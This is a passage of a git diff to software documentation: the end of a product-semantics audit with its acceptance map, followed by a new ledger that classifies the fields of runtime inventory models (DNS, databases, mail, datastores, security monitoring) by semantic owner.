historical SCN-010 report and dated #1198 +research remain evidence of the original reasoning; they are not rewritten. + +## Recurrence prevention and ownership + +The [runtime semantic review checklist](../../explain/sdl/validation.md#runtime-semantic-review-checklist) +requires an owner, a reason for any closed set, a distinct implementation/private +case, a partial case, optional-presence behavior, compatibility and selected +admission rules. It explicitly checks backend recipes becoming compulsory +author detail, replacement catalogs and unconditional evidence obligations. + +The new coverage test follows the existing runtime registry and Pydantic graph. +It rejects missing models/fields, duplicate classifications and stale source +links in the field ledger. It is a candidate-coverage guard, not a semantic +oracle. The existing `test_runtime_family_invariants.py` checks structural +consistency; its required-profile detector only checks wiring where a model's +documentation explicitly declares such a guard. Passing it does not justify +inventing a guard or establish the portable correctness of one. + +#1211 consumes this audit and its three focused corrections when reconciling +the complete candidate ledger. #1167 remains the broader status-prose owner; +this delivery resolves the concrete stale guidance inspected here. #989, +#1206, #1207, #1208, #1209 and #1212 are closed as of this review; that is an +ownership/status fact, not a substitute for the bounded implementation evidence. + +## Verification and acceptance map + +The first coverage test run failed because the field ledger was absent. After +the ledger was populated, the coverage and negative-mutation cases passed. +The three defect inputs above retain their historical finding context. The +focused corrections have now shipped, and #1211 replays their private and +partial cases through the integrated lifecycle without reopening their runtime +ownership. + +Relevant existing executable evidence includes: + +- `test_issue_1206_vocabulary_families.py`, `test_issue_1206_vocabulary_schema.py` + and `test_issue_1206_vocabulary_roundtrips.py`: exact private identity, finite + operations, schema agreement and abstract/no-inventory cases. +- `test_issue_1207_partial_descriptions.py`, `test_issue_1207_recursive_inventory.py` + and `test_issue_1207_profile_admission.py`: partial descriptions, explicit empty + state, exact descendants, nonpersistent caches, non-IOC synchronization and + independently selected prerequisites/authority. +- `test_runtime_platform_application.py`: #956 capability/content separation. +- `test_issue_1209_description_lifecycle.py` and + `test_issue_1212_observation_demand.py`: abstraction and observation-demand + separation. Required capture continues through #1112's admission tests. + +Repository completion, policy, review, CI and Sonar results belong to the +issue's durable workflow records. These model tests are not deployed-product +or live-backend evidence. + +| Acceptance criterion | Evidence | +| --- | --- | +| Method, selected-family inventory and lineage | Method, shared trace and all 17 family rows above; 115-model field ledger; existing #1206 vocabulary inventory. | +| Evidence-backed disposition for every reviewed surface | Registered and adjacent tables; field-owner classifications with inherited dispositions and explicit exceptions. | +| Focused defects with migration and test impact | F1–F3 and #1297/#1298/#1299. F4 is corrected by this delivery. | +| Retained false positives/product-specific extensions | Adjacent table and native-manifest limits; closed security/grammar/profile rationale. | +| Practical prevention rule/check | Validation checklist and registry-derived field-coverage test; #1211 integration ownership. | +| #956 stays the focused delivered platform correction | Platform row, F4 scope and existing capability regressions. | +| Open parent, binding exact descendants, optional presence | Method steps 5–6; per-family guard analysis; #1206/#1207 recursive tests and F3. | +| Complete abstract models without invented infrastructure | Shared consumer boundaries, adjacent OS/software rows and abstract round-trip tests. | +| Independent representation, reporting, collection, retention/export | Sensor/engine/forwarder rows and #1209/#1212 evidence; no observation request follows from precise inventory. | +| No compulsory core or replacement catalog | Method step 6, vocabulary seam and retained native-data distinctions; private identity is not admitted execution. | +| GOV-922 stable comparison and governed extensions | Existing catalog and `runtime_vocabulary.py`, #1206 schema/private-identity tests, field ledger and this bounded audit of surrounding shapes. | diff --git a/docs/research/language-extensibility/product-semantics-fields.md b/docs/research/language-extensibility/product-semantics-fields.md new file mode 100644 index 000000000..ddf5505e2 --- /dev/null +++ b/docs/research/language-extensibility/product-semantics-fields.md @@ -0,0 +1,169 @@ +# Field classifications for the product-semantics audit + +This is the field ledger for the [issue 959 audit](product-semantics-audit.md), +linked from the existing [scope inventory](scope-inventory.md). Reviewed baseline: +`2ed2d97cee641419912dfd2e4e2e4b0c9c61f35e`, 2026-09-16. + +The scope is every model reachable from the 17 registered runtime families, +plus service-manager units: 115 model types and 899 fields, including inherited +fields. The runtime registry remains authoritative. This ledger neither +registers families nor changes model validation. Adjacent surfaces outside this +field graph have separate dispositions in the audit. + +Each field has one primary semantic owner: + +- P — portable domain concept, including local identity and descriptive labels. +- C — optional authored/configured state. +- K — capability or requirement. +- B — integration/binding, including typed references and endpoints. +- A — policy/authorization/marking, including protection decisions. +- N — product-native identity or extension, including bounded native format data. +- R — realization choice, such as a selected workload image or backing path. +- O — observation/evidence, including provenance and reported state. +- D — delivery machinery. No selected field has this owner; backend operations + remain outside these inventory models. + +These categories describe meaning, not whether the field is syntactically +required or proof that a value was observed. A declared expected observation +remains an authored constraint; actual observation needs its own provenance. +A C field is optional at its containing inventory boundary, but a present typed +record can still have structural requirements. B reference integrity and A +security constraints remain binding when supplied. Container fields name the +primary owner; their children's rows classify independent axes in that record. + +Fields inherit the audit's bounded disposition for their family. Explicit +exceptions are `RuntimeApplicationRoute.methods`, +`RuntimeServiceListener` endpoint completeness and +`ServiceManagerUnit` manager/name/state coupling. Their confirmed defects are +recorded in #1298, #1299 and #1297 respectively. Retained native profiles and +documentation debt are explained in the audit rather than relabeled portable. +The #1206 [vocabulary dispositions](scope-inventory.md#issue-1206-implementation-dispositions-2026-09-12) +supply the term-level extension/finite-set decisions for enum-typed fields. +Free native strings are not vocabulary tokens or executable profile identities. + +The coverage test compares this table with the live registry, recursively +reachable Pydantic fields and their owning source files. New, removed, duplicate +or unclassified fields require review. That test checks completeness of this +ledger, not correctness of these judgments, runtime validity, backend support, +or full lifecycle conformance. The audit's source/probe and review evidence +supply those separate arguments. + +## Model fields + +| Model | Owning source | Field classifications | +| --- | --- | --- | +| `Database` | [runtime_database.py](../../../implementations/python/packages/raes/runtime_database.py) | P: `database_id`, `name`, `description`; C: `schemas`; O: `origin` | +| `DatabaseGrant` | [runtime_database.py](../../../implementations/python/packages/raes/runtime_database.py) | P: `description`; B: `grantee_role_ref`, `object_ref`; A: `object_type`, `privileges`, `with_grant_option` | +| `DatabaseListener` | [runtime_database.py](../../../implementations/python/packages/raes/runtime_database.py) | P: `description`; B: `address`, `port` | +| `DatabaseRole` | [runtime_database.py](../../../implementations/python/packages/raes/runtime_database.py) | P: `role_id`, `name`, `description`; A: `role_type`, `can_login`; O: `origin` | +| `DatabaseSchema` | [runtime_database.py](../../../implementations/python/packages/raes/runtime_database.py) | P: `schema_id`, `name`, `description`; C: `tables`; O: `origin` | +| `DatabaseSetting` | [runtime_database.py](../../../implementations/python/packages/raes/runtime_database.py) | P: `name`, `description`; C: `value`; A: `value_classification`; O: `provenance` | +| `DatabaseTable` | [runtime_database.py](../../../implementations/python/packages/raes/runtime_database.py) | P: `table_id`, `name`, `description` | +| `DnsDynamicUpdatePolicy` | [runtime_dns.py](../../../implementations/python/packages/raes/runtime_dns.py) | P: `description`; A: `enabled`, `allowed_clients`, `key_names`, `policy` | +| `DnsForwarder` | [runtime_dns.py](../../../implementations/python/packages/raes/runtime_dns.py) | P: `description`; C: `transport`, `tls_server_name`; B: `address`, `port` | +| `DnsMxRdata` | [runtime_dns_records.py](../../../implementations/python/packages/raes/runtime_dns_records.py) | P: `preference`, `exchange` | +| `DnsResolverPolicy` | [runtime_dns.py](../../../implementations/python/packages/raes/runtime_dns.py) | P: `description`; A: `recursion_enabled`, `allow_recursion`, `forwarders`, `forwarding_policy`, `dnssec_validation`, `query_logging`, `default_logging` | +| `DnsResourceRecord` | [runtime_dns_records.py](../../../implementations/python/packages/raes/runtime_dns_records.py) | P: `rdata`, `target`, `text`, `soa`, `mx`, `srv`, `description`; B: `address` | +| `DnsResourceRecordSet` | [runtime_dns_records.py](../../../implementations/python/packages/raes/runtime_dns_records.py) | P: `rrset_id`, `record_type`, `zone_class`, `ttl`, `type_code`, `records`, `description`; N: `owner`; O: `provenance` | +| `DnsRuntimeSetting` | [runtime_dns.py](../../../implementations/python/packages/raes/runtime_dns.py) | P: `name`, `description`; C: `value`; A: `value_classification`; O: `provenance` | +| `DnsSoaRdata` | [runtime_dns_records.py](../../../implementations/python/packages/raes/runtime_dns_records.py) | P: `mname`, `rname`, `serial`, `refresh`, `retry`, `expire`, `minimum` | +| `DnsSrvRdata` | [runtime_dns_records.py](../../../implementations/python/packages/raes/runtime_dns_records.py) | P: `priority`, `weight`, `target`; B: `port` | +| `DnsZone` | [runtime_dns.py](../../../implementations/python/packages/raes/runtime_dns.py) | P: `zone_id`, `name`, `kind`, `purpose`, `zone_class`, `description`; C: `rrsets`; B: `zone_file_refs`; A: `transfer`; O: `provenance` | +| `DnsZoneTransferPolicy` | [runtime_dns.py](../../../implementations/python/packages/raes/runtime_dns.py) | P: `description`; A: `axfr_enabled`, `ixfr_enabled`, `allowed_clients`, `primary_servers`, `secondary_servers` | +| `RuntimeAppAuthorization` | [runtime_app_authorization.py](../../../implementations/python/packages/raes/runtime_app_authorization.py) | P: `app_authorization_id`, `name`, `description`; A: `auth_enabled`, `principals`, `roles`, `permission_grants`, `role_mappings`, `tenants`; N: `resource_vocabulary` | +| `RuntimeAppAuthorizationGrant` | [runtime_app_authorization.py](../../../implementations/python/packages/raes/runtime_app_authorization.py) | P: `grant_id`, `description`; B: `role_ref`; A: `actions`, `resource_patterns`, `effect`; N: `resource_kind` | +| `RuntimeAppAuthorizationPrincipal` | [runtime_app_authorization.py](../../../implementations/python/packages/raes/runtime_app_authorization.py) | P: `principal_id`, `kind`, `name`, `description`; A: `reserved`, `hidden`, `credential_classification`, `backend_roles` | +| `RuntimeAppAuthorizationRole` | [runtime_app_authorization.py](../../../implementations/python/packages/raes/runtime_app_authorization.py) | P: `role_id`, `name`, `description` | +| `RuntimeAppAuthorizationRoleMapping` | [runtime_app_authorization.py](../../../implementations/python/packages/raes/runtime_app_authorization.py) | P: `mapping_id`, `description`; B: `role_ref`; A: `backend_roles`, `users`, `hosts` | +| `RuntimeAppAuthorizationTenant` | [runtime_app_authorization.py](../../../implementations/python/packages/raes/runtime_app_authorization.py) | P: `tenant_id`, `name`, `description` | +| `RuntimeApplicationDisclosure` | [runtime_application.py](../../../implementations/python/packages/raes/runtime_application.py) | P: `description`; A: `sensitivity`; O: `trigger`, `status_code`, `disclosure` | +| `RuntimeApplicationExposedField` | [runtime_application_values.py](../../../implementations/python/packages/raes/runtime_application_values.py) | P: `name`, `description`; C: `value`; A: `sensitivity` | +| `RuntimeApplicationParameter` | [runtime_application.py](../../../implementations/python/packages/raes/runtime_application.py) | P: `name`, `location`, `data_type`, `description`; K: `required` | +| `RuntimeApplicationRedirect` | [runtime_application.py](../../../implementations/python/packages/raes/runtime_application.py) | P: `description`; C: `target`, `status_code`, `condition` | +| `RuntimeApplicationResponse` | [runtime_application.py](../../../implementations/python/packages/raes/runtime_application.py) | P: `description`; C: `status_code`, `content_type` | +| `RuntimeApplicationRoute` | [runtime_application.py](../../../implementations/python/packages/raes/runtime_application.py) | P: `route_id`, `path`, `methods`, `name`, `description`; C: `parameters`, `responses`, `templates`, `static_assets`, `redirects`, `disclosures`, `exposed_fields`; B: `upstream_target`; A: `auth_required`, `auth_scheme`, `session_required` | +| `RuntimeApplicationRouteUpstreamTarget` | [runtime_application.py](../../../implementations/python/packages/raes/runtime_application.py) | B: `target_node_ref`, `target_service`, `scheme`; A: `tls_terminated_here` | +| `RuntimeApplicationSurface` | [runtime_application.py](../../../implementations/python/packages/raes/runtime_application.py) | P: `application_id`, `name`, `description`; C: `base_path`, `routes`; B: `service`, `protocol`; N: `framework` | +| `RuntimeDatabaseService` | [runtime_database.py](../../../implementations/python/packages/raes/runtime_database.py) | P: `database_service_id`, `name`, `description`; C: `listeners`, `databases`, `settings`; B: `service`, `protocol`; A: `roles`, `grants`; N: `engine`, `version` | +| `RuntimeDatastoreCluster` | [runtime_datastore_partitions.py](../../../implementations/python/packages/raes/runtime_datastore_partitions.py) | P: `cluster_id`, `name`, `description`; N: `uuid`, `discovery_mode`, `partitioner`, `native_protocol_version`; O: `health`, `node_count`, `shard_total`, `shard_primaries`, `doc_count`, `store_size_bytes` | +| `RuntimeDatastoreEnginePlugin` | [runtime_datastore_nodes.py](../../../implementations/python/packages/raes/runtime_datastore_nodes.py) | P: `plugin_id`, `name`, `description`; N: `version` | +| `RuntimeDatastoreMapping` | [runtime_datastore_partitions.py](../../../implementations/python/packages/raes/runtime_datastore_partitions.py) | P: `mapping_id`, `name`, `description`; C: `dynamic_policy`, `date_detection`; B: `partition_ref`; N: `field_type_census`; O: `top_level_field_count`, `leaf_field_count`, `dynamic_template_count`, `schema_digest`, `evidence_refs` | +| `RuntimeDatastoreNode` | [runtime_datastore_nodes.py](../../../implementations/python/packages/raes/runtime_datastore_nodes.py) | P: `node_id`, `name`, `description`; C: `roles`, `is_coordinator`, `heap_init_bytes`, `heap_max_bytes`, `memory_locked`, `plugins`; B: `endpoints`; N: `engine_version`, `build_hash`, `build_type` | +| `RuntimeDatastoreNodeEndpoint` | [runtime_datastore_nodes.py](../../../implementations/python/packages/raes/runtime_datastore_nodes.py) | P: `endpoint_id`, `description`; C: `role`; B: `protocol`, `address`, `port` | +| `RuntimeDatastorePartition` | [runtime_datastore_partitions.py](../../../implementations/python/packages/raes/runtime_datastore_partitions.py) | P: `partition_id`, `kind`, `name`, `description`; C: `shard_count`, `replica_count`, `replication_factor`, `durable_writes`; N: `uuid`, `replication_strategy`, `per_dc_factor_map`, `datatype_census`; O: `doc_count`, `doc_count_deleted`, `store_size_bytes`, `creation_timestamp`, `open_closed_status`, `health` | +| `RuntimeDatastorePersistence` | [runtime_datastore_partitions.py](../../../implementations/python/packages/raes/runtime_datastore_partitions.py) | P: `persistence_id`, `description`; N: `rdb_save_points`, `aof`, `eviction`, `maxmemory` | +| `RuntimeDatastoreService` | [runtime_datastore.py](../../../implementations/python/packages/raes/runtime_datastore.py) | P: `datastore_service_id`, `data_model`, `name`, `description`; C: `cluster`, `nodes`, `partitions`, `templates`, `aliases`, `mappings`, `lifecycle_policies`, `ingest_pipelines`, `persistence`, `pubsub_channels`, `queues_streams`, `settings`; B: `service`, `protocol`, `authorization_ref`; A: `transport_security`; N: `engine`, `version`; R: `backup_targets` | +| `RuntimeDatastoreSetting` | [runtime_datastore_partitions.py](../../../implementations/python/packages/raes/runtime_datastore_partitions.py) | P: `setting_id`, `name`, `description`; C: `value`; A: `classification`; N: `scope`; O: `provenance` | +| `RuntimeDatastoreTemplate` | [runtime_datastore_partitions.py](../../../implementations/python/packages/raes/runtime_datastore_partitions.py) | P: `template_id`, `name`, `description`; B: `mapping_ref`; N: `index_patterns`, `settings_summary`; O: `template_digest`, `evidence_refs` | +| `RuntimeDatastoreTransportSecurity` | [runtime_datastore_partitions.py](../../../implementations/python/packages/raes/runtime_datastore_partitions.py) | P: `transport_security_id`, `description`; A: `mode`, `client_verification`, `node_verification` | +| `RuntimeDnsService` | [runtime_dns.py](../../../implementations/python/packages/raes/runtime_dns.py) | P: `dns_service_id`, `name`, `roles`, `description`; C: `zones`, `settings`; B: `service`, `configuration_file_refs`; A: `resolver_policy`, `dynamic_update`; N: `implementation`, `version`; O: `log_file_refs` | +| `RuntimeFileService` | [runtime_file_service.py](../../../implementations/python/packages/raes/runtime_file_service.py) | P: `file_service_id`, `description`; C: `shares`; B: `service`, `protocol`; A: `principals`, `access_rules`; N: `backend`; O: `access_observations` | +| `RuntimeFileServiceAccessObservation` | [runtime_file_service.py](../../../implementations/python/packages/raes/runtime_file_service.py) | P: `observation_id`, `description`; B: `subject_ref`, `resource_ref`; A: `sensitivity`; O: `action`, `outcome`, `basis` | +| `RuntimeFileServiceAccessRule` | [runtime_file_service.py](../../../implementations/python/packages/raes/runtime_file_service.py) | P: `rule_id`, `description`; B: `subject_ref`, `resource_ref`; A: `action`, `effect`, `basis` | +| `RuntimeFileServicePrincipal` | [runtime_file_service.py](../../../implementations/python/packages/raes/runtime_file_service.py) | P: `principal_id`, `kind`, `name`, `description`; B: `local_user_ref`, `directory_subject_ref`; A: `credential_classification`; N: `external_id`; O: `status`, `origin` | +| `RuntimeFileServiceShare` | [runtime_file_service.py](../../../implementations/python/packages/raes/runtime_file_service.py) | P: `share_id`, `name`, `kind`, `description`; C: `comment`; A: `read_only`, `browseable`, `guest_ok`, `valid_users`, `valid_groups`, `invalid_users`, `write_users`; R: `backing_path` | +| `RuntimeForwardingAgent` | [runtime_forwarding_agent.py](../../../implementations/python/packages/raes/runtime_forwarding_agent.py) | P: `forwarding_agent_id`, `agent_kind`, `ownership_role`, `name`, `description`; C: `sources`, `transforms`, `buffer_policy`, `settings`; B: `ship_targets`, `reload_channels`; N: `implementation`, `version` | +| `RuntimeForwardingBufferPolicy` | [runtime_forwarding_buffer.py](../../../implementations/python/packages/raes/runtime_forwarding_buffer.py) | P: `buffer_policy_id`, `description`; C: `queue_capacity`, `eps`, `reconnect_seconds`; A: `crypto` | +| `RuntimeForwardingReloadChannel` | [runtime_forwarding_agent.py](../../../implementations/python/packages/raes/runtime_forwarding_agent.py) | P: `reload_channel_id`, `kind`, `description`; B: `target_ref` | +| `RuntimeForwardingSetting` | [runtime_forwarding_agent.py](../../../implementations/python/packages/raes/runtime_forwarding_agent.py) | P: `setting_id`, `name`, `description`; C: `value`; A: `classification`; O: `provenance` | +| `RuntimeForwardingShipTarget` | [runtime_forwarding_agent.py](../../../implementations/python/packages/raes/runtime_forwarding_agent.py) | P: `target_id`, `description`; C: `ingestion_port`, `enrollment_port`; B: `target_node_ref`, `target_service_ref`, `protocol`; A: `enrollment_identity_classification` | +| `RuntimeForwardingSource` | [runtime_forwarding_agent.py](../../../implementations/python/packages/raes/runtime_forwarding_agent.py) | P: `source_id`, `kind`, `description`; C: `selector`; B: `location`; N: `parse_format` | +| `RuntimeForwardingTransform` | [runtime_forwarding_agent.py](../../../implementations/python/packages/raes/runtime_forwarding_agent.py) | P: `transform_id`, `kind`, `description`; N: `sid_namespace` | +| `RuntimeIdentityAttribute` | [runtime_directory_identity.py](../../../implementations/python/packages/raes/runtime_directory_identity.py) | P: `description`; A: `value_classification`; N: `name`, `values`; O: `origin`, `provenance` | +| `RuntimeIdentityAuthority` | [runtime_directory_identity.py](../../../implementations/python/packages/raes/runtime_directory_identity.py) | P: `identity_authority_id`, `kind`, `name`, `description`; C: `subjects`; B: `services`, `relationships`; A: `policies`; N: `namespace`, `domain_name`, `realm`, `issuer`, `tenant_id`, `base_dn` | +| `RuntimeIdentityAuthorityService` | [runtime_directory_identity.py](../../../implementations/python/packages/raes/runtime_directory_identity.py) | P: `service_id`, `description`; B: `service`, `protocol`, `address`, `port` | +| `RuntimeIdentityPolicy` | [runtime_directory_identity.py](../../../implementations/python/packages/raes/runtime_directory_identity.py) | P: `policy_id`, `name`, `description`; B: `applies_to_refs`; A: `policy_kind`, `settings` | +| `RuntimeIdentityRelationship` | [runtime_directory_identity.py](../../../implementations/python/packages/raes/runtime_directory_identity.py) | P: `relationship_id`, `relationship_type`, `description`; B: `source_ref`, `target_ref`, `external_target` | +| `RuntimeIdentitySubject` | [runtime_directory_identity.py](../../../implementations/python/packages/raes/runtime_directory_identity.py) | P: `subject_id`, `kind`, `name`, `description`; C: `display_name`, `attributes`; A: `enabled`; N: `principal_name`, `distinguished_name`, `domain`, `service_principal_names`; O: `origin` | +| `RuntimeListenerReadiness` | [runtime_listeners.py](../../../implementations/python/packages/raes/runtime_listeners.py) | P: `description`; O: `probe`, `criteria`, `evidence_refs` | +| `RuntimeMailAlias` | [runtime_mail_service/_elements.py](../../../implementations/python/packages/raes/runtime_mail_service/_elements.py) | P: `alias_id`, `description`; C: `external_targets`; B: `address`, `domain_ref`, `target_refs` | +| `RuntimeMailComponent` | [runtime_mail_service/_elements.py](../../../implementations/python/packages/raes/runtime_mail_service/_elements.py) | P: `component_id`, `kind`, `name`, `description`; N: `version` | +| `RuntimeMailDomain` | [runtime_mail_service/_elements.py](../../../implementations/python/packages/raes/runtime_mail_service/_elements.py) | P: `domain_id`, `name`, `description`; C: `role` | +| `RuntimeMailListener` | [runtime_mail_service/_elements.py](../../../implementations/python/packages/raes/runtime_mail_service/_elements.py) | P: `listener_id`, `description`; C: `role`; K: `capabilities`; B: `service`, `protocol`, `component_ref`; A: `auth_mechanisms`, `tls_mode`, `tls_versions`; N: `banner`, `advertised_identity` | +| `RuntimeMailMailbox` | [runtime_mail_service/_elements.py](../../../implementations/python/packages/raes/runtime_mail_service/_elements.py) | P: `mailbox_id`, `description`; C: `role`; B: `address`, `domain_ref`, `store_ref`, `account_ref`, `local_user_ref`; A: `auth_mechanisms`, `credential_classification`; N: `local_part`; O: `status` | +| `RuntimeMailMailboxStore` | [runtime_mail_service/_elements.py](../../../implementations/python/packages/raes/runtime_mail_service/_elements.py) | P: `store_id`, `kind`, `description`; C: `path` | +| `RuntimeMailQueue` | [runtime_mail_service/_elements.py](../../../implementations/python/packages/raes/runtime_mail_service/_elements.py) | P: `queue_id`, `kind`, `name`, `description`; O: `message_count`, `stability` | +| `RuntimeMailRoutingRule` | [runtime_mail_service/_elements.py](../../../implementations/python/packages/raes/runtime_mail_service/_elements.py) | P: `rule_id`, `kind`, `description`; B: `source_ref`, `target_ref`, `relay_host` | +| `RuntimeMailService` | [runtime_mail_service/_service.py](../../../implementations/python/packages/raes/runtime_mail_service/_service.py) | P: `mail_service_id`, `name`, `description`; C: `components`, `listeners`, `domains`, `mailbox_stores`, `mailboxes`, `aliases`, `queues`, `settings`; B: `service`; A: `routing_rules`; N: `engine`, `version` | +| `RuntimeMailSetting` | [runtime_mail_service/_elements.py](../../../implementations/python/packages/raes/runtime_mail_service/_elements.py) | P: `setting_id`, `name`, `description`; C: `value`; B: `component_ref`; A: `value_classification`; O: `provenance`, `source_path` | +| `RuntimeNetworkDetectionControlChannel` | [runtime_network_detection.py](../../../implementations/python/packages/raes/runtime_network_detection.py) | P: `channel_id`, `kind`, `description`; C: `path`; K: `capabilities`; B: `service`; A: `auth_required` | +| `RuntimeNetworkDetectionEngine` | [runtime_network_detection.py](../../../implementations/python/packages/raes/runtime_network_detection.py) | P: `network_detection_engine_id`, `engine_kind`, `name`, `description`; C: `rule_sources`, `network_sets`, `output_streams`; K: `app_layer_protocols`; B: `process_ref`, `sensor_ref`, `configuration_file_refs`, `control_channels`; N: `implementation`, `version`, `revision`; O: `log_file_refs`, `evidence_refs` | +| `RuntimeNetworkDetectionNetworkSet` | [runtime_network_detection.py](../../../implementations/python/packages/raes/runtime_network_detection.py) | P: `set_id`, `kind`, `name`, `description`; C: `selector_values`; B: `network_refs` | +| `RuntimeNetworkDetectionOutputStream` | [runtime_network_detection.py](../../../implementations/python/packages/raes/runtime_network_detection.py) | P: `stream_id`, `description`; C: `path`, `enabled`; N: `format`, `event_types` | +| `RuntimeNetworkDetectionRuleSource` | [runtime_network_detection.py](../../../implementations/python/packages/raes/runtime_network_detection.py) | P: `source_id`, `kind`, `name`, `description`; B: `file_refs`, `generated_by`; N: `format`; O: `rule_count`, `loaded` | +| `RuntimeNetworkSensor` | [runtime_network_sensor.py](../../../implementations/python/packages/raes/runtime_network_sensor.py) | P: `network_sensor_id`, `sensor_kind`, `name`, `description`; C: `monitoring_posture`, `capture_mode`, `capture_interfaces`; B: `monitored_network_refs`, `process_ref`, `configuration_file_refs`; N: `implementation`, `version`, `revision`; O: `log_file_refs`, `evidence_refs` | +| `RuntimeOrchestrationAuthority` | [runtime_orchestration.py](../../../implementations/python/packages/raes/runtime_orchestration.py) | P: `orchestration_authority_id`, `name`, `description`; B: `control_interface_ref`; A: `scope`, `lifecycle_policy`, `privilege_class`; N: `engine`, `engine_api_version`; R: `spawn_templates`; O: `realized_children` | +| `RuntimeOrchestrationLifecyclePolicy` | [runtime_orchestration.py](../../../implementations/python/packages/raes/runtime_orchestration.py) | P: `description`; A: `timeout`, `cleanup`, `execution_timeout` | +| `RuntimeOrchestrationRealizedChild` | [runtime_orchestration.py](../../../implementations/python/packages/raes/runtime_orchestration.py) | P: `workload_id`, `description`; O: `image_ref`, `count`, `evidence_ref` | +| `RuntimeOrchestrationScope` | [runtime_orchestration.py](../../../implementations/python/packages/raes/runtime_orchestration.py) | P: `description`; B: `organization_ref`; N: `environment_name` | +| `RuntimeOrchestrationSpawnTemplate` | [runtime_orchestration.py](../../../implementations/python/packages/raes/runtime_orchestration.py) | P: `template_id`, `description`; R: `image_ref`, `purpose` | +| `RuntimePlatformApplication` | [runtime_platform_application.py](../../../implementations/python/packages/raes/runtime_platform_application.py) | P: `platform_application_id`, `name`, `description`; C: `organizations`, `tenants`, `content_objects`, `settings`; K: `capabilities`; B: `service`, `upstream_bindings`, `connectors`, `authorization_ref`; A: `markings`, `execution_policy`; N: `platform_kind`, `product`, `version` | +| `RuntimePlatformApplicationCapability` | [runtime_platform_application_content.py](../../../implementations/python/packages/raes/runtime_platform_application_content.py) | P: `capability_id`, `description`; K: `kind`; O: `evidence_refs` | +| `RuntimePlatformApplicationConnector` | [runtime_platform_application_content.py](../../../implementations/python/packages/raes/runtime_platform_application_content.py) | P: `connector_id`, `name`, `description`; C: `enabled`; B: `kind`; A: `credential_classification` | +| `RuntimePlatformApplicationContentObject` | [runtime_platform_application_content.py](../../../implementations/python/packages/raes/runtime_platform_application_content.py) | P: `content_object_id`, `name`, `description`; B: `references`; A: `marking_refs`; N: `kind`, `attributes`; O: `evidence_refs` | +| `RuntimePlatformApplicationExecutionPolicy` | [runtime_platform_application_content.py](../../../implementations/python/packages/raes/runtime_platform_application_content.py) | P: `policy_id`, `description`; A: `max_concurrent_jobs`, `job_timeout`, `rate_limit`; N: `runner` | +| `RuntimePlatformApplicationMarking` | [runtime_platform_application_content.py](../../../implementations/python/packages/raes/runtime_platform_application_content.py) | P: `marking_id`, `description`; A: `level`, `value`; N: `scheme` | +| `RuntimePlatformApplicationOrganization` | [runtime_platform_application_content.py](../../../implementations/python/packages/raes/runtime_platform_application_content.py) | P: `organization_id`, `name`, `description` | +| `RuntimePlatformApplicationSetting` | [runtime_platform_application_content.py](../../../implementations/python/packages/raes/runtime_platform_application_content.py) | P: `setting_id`, `name`, `description`; C: `value`; A: `classification`, `redaction`; O: `provenance` | +| `RuntimePlatformApplicationTenant` | [runtime_platform_application_content.py](../../../implementations/python/packages/raes/runtime_platform_application_content.py) | P: `tenant_id`, `name`, `description` | +| `RuntimePlatformApplicationUpstreamBinding` | [runtime_platform_application_content.py](../../../implementations/python/packages/raes/runtime_platform_application_content.py) | P: `binding_id`, `description`; B: `role`, `target_node_ref`, `target_service_ref` | +| `RuntimePublishedPortRef` | [runtime_listeners.py](../../../implementations/python/packages/raes/runtime_listeners.py) | B: `container_port`, `protocol`, `host_ip`, `host_port` | +| `RuntimeScheduledJob` | [runtime_scheduled_job.py](../../../implementations/python/packages/raes/runtime_scheduled_job.py) | P: `scheduled_job_id`, `name`, `description`; C: `enabled`, `schedule`; B: `command_ref`; O: `run_state` | +| `RuntimeScheduledJobRunState` | [runtime_scheduled_job.py](../../../implementations/python/packages/raes/runtime_scheduled_job.py) | O: `last_run`, `next_run`, `last_result` | +| `RuntimeScheduledJobSchedule` | [runtime_scheduled_job.py](../../../implementations/python/packages/raes/runtime_scheduled_job.py) | P: `kind`; C: `spec`, `enabled` | +| `RuntimeSecurityMonitoringAgent` | [runtime_security_monitoring/_models.py](../../../implementations/python/packages/raes/runtime_security_monitoring/_models.py) | P: `agent_id`, `name`, `description`; B: `address`, `node_ref`, `group_refs`; N: `version`, `os`; O: `status` | +| `RuntimeSecurityMonitoringAgentGroup` | [runtime_security_monitoring/_models.py](../../../implementations/python/packages/raes/runtime_security_monitoring/_models.py) | P: `group_id`, `name`, `description`; B: `member_refs`, `configuration_file_refs` | +| `RuntimeSecurityMonitoringComponent` | [runtime_security_monitoring/_models.py](../../../implementations/python/packages/raes/runtime_security_monitoring/_models.py) | P: `component_id`, `kind`, `name`, `description`; C: `enabled`; B: `process_ref`; O: `status` | +| `RuntimeSecurityMonitoringContentSet` | [runtime_security_monitoring/_models.py](../../../implementations/python/packages/raes/runtime_security_monitoring/_models.py) | P: `content_id`, `kind`, `name`, `description`; B: `file_refs`; N: `format`; O: `file_count`, `loaded` | +| `RuntimeSecurityMonitoringDetectionDefinition` | [runtime_security_monitoring_definitions.py](../../../implementations/python/packages/raes/runtime_security_monitoring_definitions.py) | P: `definition_id`, `name`, `description`; C: `enabled`, `level`, `severity`, `match_strings`, `regex_patterns`, `field_predicates`, `frequency`, `timeframe_seconds`, `same_source_constraints`; B: `content_set_ref`, `parent_definition_refs`, `target_refs`; N: `engine`, `definition_kind`, `native_id`, `decoded_as`, `decoder_names`, `decoder_fields`, `if_sid_refs`, `if_matched_sid_refs`, `groups`, `mitre_attack_ids`, `compliance_tags`, `tactic_labels`, `technique_labels`, `tags`; O: `source_artifact_ref`, `source_file_ref`, `source_start_line`, `source_end_line`, `digest_algorithm`, `canonical_digest`, `loaded`, `parser_accepted`, `evidence_refs` | +| `RuntimeSecurityMonitoringFieldPredicate` | [runtime_security_monitoring_definitions.py](../../../implementations/python/packages/raes/runtime_security_monitoring_definitions.py) | P: `operator`, `description`; C: `value`; N: `field` | +| `RuntimeSecurityMonitoringListener` | [runtime_security_monitoring/_models.py](../../../implementations/python/packages/raes/runtime_security_monitoring/_models.py) | P: `listener_id`, `description`; B: `service`, `role`, `protocol`; A: `auth_required`, `tls_enabled` | +| `RuntimeSecurityMonitoringManager` | [runtime_security_monitoring/_models.py](../../../implementations/python/packages/raes/runtime_security_monitoring/_models.py) | P: `security_monitoring_manager_id`, `manager_kind`, `name`, `description`; C: `listeners`, `components`, `agents`, `agent_groups`, `content_sets`, `detection_definitions`, `settings`; B: `service`, `configuration_file_refs`; N: `implementation`, `version`, `revision`; O: `log_file_refs`, `evidence_refs` | +| `RuntimeSecurityMonitoringSetting` | [runtime_security_monitoring/_models.py](../../../implementations/python/packages/raes/runtime_security_monitoring/_models.py) | P: `setting_id`, `name`, `description`; C: `value`; B: `component_ref`; A: `value_classification`; O: `provenance`, `source_path` | +| 